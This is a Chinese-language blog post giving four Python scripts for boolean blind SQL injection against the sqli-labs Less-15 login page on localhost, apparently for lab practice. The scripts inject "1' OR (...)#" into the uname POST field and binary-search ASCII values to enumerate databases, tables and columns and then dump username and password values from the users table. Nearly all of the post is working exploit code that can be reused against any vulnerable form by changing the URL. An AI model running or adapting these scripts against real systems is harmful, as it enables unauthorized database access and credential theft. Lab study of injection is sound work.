POST系盲注脚本

鉴于SQL注入盲注对脚本的需求比较高,试着写了一下盲注脚本,后面找ai大修了一下,现在应该是更清晰方便了,把扒库,扒表,扒列,和拿值的步骤分开来了,应该会比较容易扩展到其他试题使用

扒库

import requests
import sys
TARGET_URL = "http://127.0.0.1/Less-15/"
SESSION = requests.Session()
TIMEOUT = 10
def check(condition: str) -> bool:
    payload = f"1' OR ({condition})#"
    data = {"uname": payload, "passwd": "123"}
    try:
        resp = SESSION.post(TARGET_URL, data=data, timeout=TIMEOUT)
        if "flag.jpg" in resp.text or "Successfully" in resp.text:
            return True
        return False
    except Exception as e:
        print(f"Error: {e}")
        return False

def binary_search(query_template, max_len, description):
    print(f"[*] Extracting {description}...")
    result = ""
    for pos in range(1, max_len + 1):
        low = 32; high = 126; mid = 0
        while low <= high:
            mid = (low + high) // 2
            sql = f"ascii(substr(({query_template}),{pos},1))>{mid}"
            if check(sql):
                low = mid + 1
            else:
                high = mid - 1
        char_val = low
        if char_val == 0: break
        result += chr(char_val)
        sys.stdout.write(f"\r[+] {description}: {result}")
        sys.stdout.flush()
    print(f"\n[+] {description} Result: {result}\n")
    return result

def get_database_count():
    print("[*] Checking database count...")
    query = "select count(schema_name) from information_schema.schemata"
    count_str = binary_search(query, 5, "DB Count")
    try:
        return int(count_str)
    except:
        return 0

def main():
    print(f"[*] Target: {TARGET_URL}")
    db_count = get_database_count()
    print(f"[*] Total Databases found: {db_count}")
    
    if db_count == 0:
        print("[-] Could not retrieve database count. Exiting.")
        return
    print("[*] Starting to dump ALL databases...")
    
    for i in range(db_count):
        db_query = f"select schema_name from information_schema.schemata limit {i},1"
        db_name = binary_search(db_query, 30, f"Database [{i+1}/{db_count}]")
if __name__ == "__main__":
    main()

扒表

import requests
import sys
TARGET_URL = "http://127.0.0.1/Less-15/"
SESSION = requests.Session()
TIMEOUT = 10

def check(condition: str) -> bool:
    payload = f"1' OR ({condition})#"
    data = {
        "uname": payload, 
        "passwd": "123"
    }
    
    try:
        resp = SESSION.post(TARGET_URL, data=data, timeout=TIMEOUT)
        if "flag.jpg" in resp.text or "Successfully" in resp.text:
            return True 
        else:
            return False 
    except Exception as e:
        return False

def binary_search(query_template, max_len, description):
    print(f"[*] Extracting {description}...")
    result = ""

    for pos in range(1, max_len + 1):
        low = 32
        high = 126
        mid = 0
        
        while low <= high:
            mid = (low + high) // 2
            
            sql = f"ascii(substr(({query_template}),{pos},1))>{mid}"
            
            if check(sql):
                low = mid + 1
            else:
                high = mid - 1
        
        char_val = low
        if char_val == 0:
            break
            
        result += chr(char_val)
        sys.stdout.write(f"\r[+] {description}: {result}")
        sys.stdout.flush()
    
    print(f"\n[+] Result: {result}\n")
    return result

def main():
    print(f"[*] Target: {TARGET_URL}")
    print("[*] Mode: Dumping ALL tables (Standard SQL)")
    print("[*] Checking table count...")
    count_query = "select count(table_name) from information_schema.tables where table_schema=database()"
    count_str = binary_search(count_query, 5, "Table Count")
    
    try:
        table_count = int(count_str)
    except ValueError:
        print("[-] Failed to get table count. Exiting.")
        return

    print(f"[*] Found {table_count} tables in current database.")
    for i in range(table_count):       
        table_query = f"select table_name from information_schema.tables where table_schema=database() limit {i},1"
        binary_search(table_query, 30, f"Table [{i+1}/{table_count}]")

if __name__ == "__main__":
    main()

扒列

import requests
import sys

# 1. 目标配置
TARGET_URL = "http://127.0.0.1/Less-15/"
SESSION = requests.Session()
TIMEOUT = 10
TARGET_TABLE = "users"

def check(condition: str) -> bool:
    payload = f"1' OR ({condition})#"
    
    data = {
        "uname": payload, 
        "passwd": "123"
    }
    
    try:
        resp = SESSION.post(TARGET_URL, data=data, timeout=TIMEOUT)
        if "flag.jpg" in resp.text or "Successfully" in resp.text:
            return True 
        else:
            return False 
    except Exception as e:
        return False

def binary_search(query_template, max_len, description):
    print(f"[*] Extracting {description}...")
    result = ""

    for pos in range(1, max_len + 1):
        low = 32
        high = 126
        mid = 0
        
        while low <= high:
            mid = (low + high) // 2
            sql = f"ascii(substr(({query_template}),{pos},1))>{mid}"
            
            if check(sql):
                low = mid + 1
            else:
                high = mid - 1
        
        char_val = low
        if char_val == 0:
            break
            
        result += chr(char_val)
        sys.stdout.write(f"\r[+] {description}: {result}")
        sys.stdout.flush()
    
    print(f"\n[+] Result: {result}\n")
    return result

def main():
    print(f"[*] Target: {TARGET_URL}")
    print(f"[*] Target Table: {TARGET_TABLE}")
    print("[*] Mode: Dumping Columns from 'users'")  
    print("[*] Checking column count...")
    count_query = f"select count(column_name) from information_schema.columns where table_name='{TARGET_TABLE}' and table_schema=database()"
    count_str = binary_search(count_query, 5, "Column Count")
    
    try:
        col_count = int(count_str)
    except ValueError:
        print("[-] Failed to get column count. Exiting.")
        return

    print(f"[*] Found {col_count} columns in table '{TARGET_TABLE}'.")
    for i in range(col_count):
        col_query = f"select column_name from information_schema.columns where table_name='{TARGET_TABLE}' and table_schema=database() limit {i},1"
        binary_search(col_query, 30, f"Column [{i+1}/{col_count}]")

if __name__ == "__main__":
    main()

扒值

import requests
import sys

# ================= 1. 配置区域 =================
URL = "http://127.0.0.1/Less-15/"
TABLE = "users"                     # 目标表
COLS = ["id", "username", "password"]     # 想要获取的列名列表
# ==============================================

def check(expr):
    payload = f"1' OR ({expr})#"
    data = {
        "uname": payload, 
        "passwd": "1"
    }
    
    try:
        res = requests.post(URL, data=data, timeout=5)
        
        return "flag.jpg" in res.text or "Successfully" in res.text
    except:
        return False

def binary_dump(query):
    result = ""

    for i in range(1, 51): 
        low, high = 32, 126
        mid = 0
        while low <= high:
            mid = (low + high) // 2
            if check(f"ascii(substr(({query}),{i},1))>{mid}"):
                low = mid + 1
            else:
                high = mid - 1
        
        if low == 32: break 
        result += chr(low)
        
        sys.stdout.write(f"\r    -> Extracting: {result}")
        sys.stdout.flush()
    
    sys.stdout.write(f"\r    -> {result}".ljust(50) + "\n")
    return result

if __name__ == "__main__":
    print(f"[*] Target Table: [{TABLE}]")
    print(f"[*] Target Columns: {COLS}")
    
    print("[*] Checking row count...")
    count_query = f"select count(*) from {TABLE}"
    row_count_str = binary_dump(count_query) 
    
    if not row_count_str.isdigit():
        print("[-] Error: Could not get row count.")
        exit()
        
    total_rows = int(row_count_str)
    print(f"[+] Total Rows: {total_rows}\n" + "="*40)
    for i in range(total_rows):
        print(f"[*] Row {i+1}:")
        
        for col in COLS:
            sql = f"select {col} from {TABLE} limit {i},1"
            
            sys.stdout.write(f"    [{col}] ...")
            val = binary_dump(sql)         
        print("-" * 20)
    
    print("[+] Done.")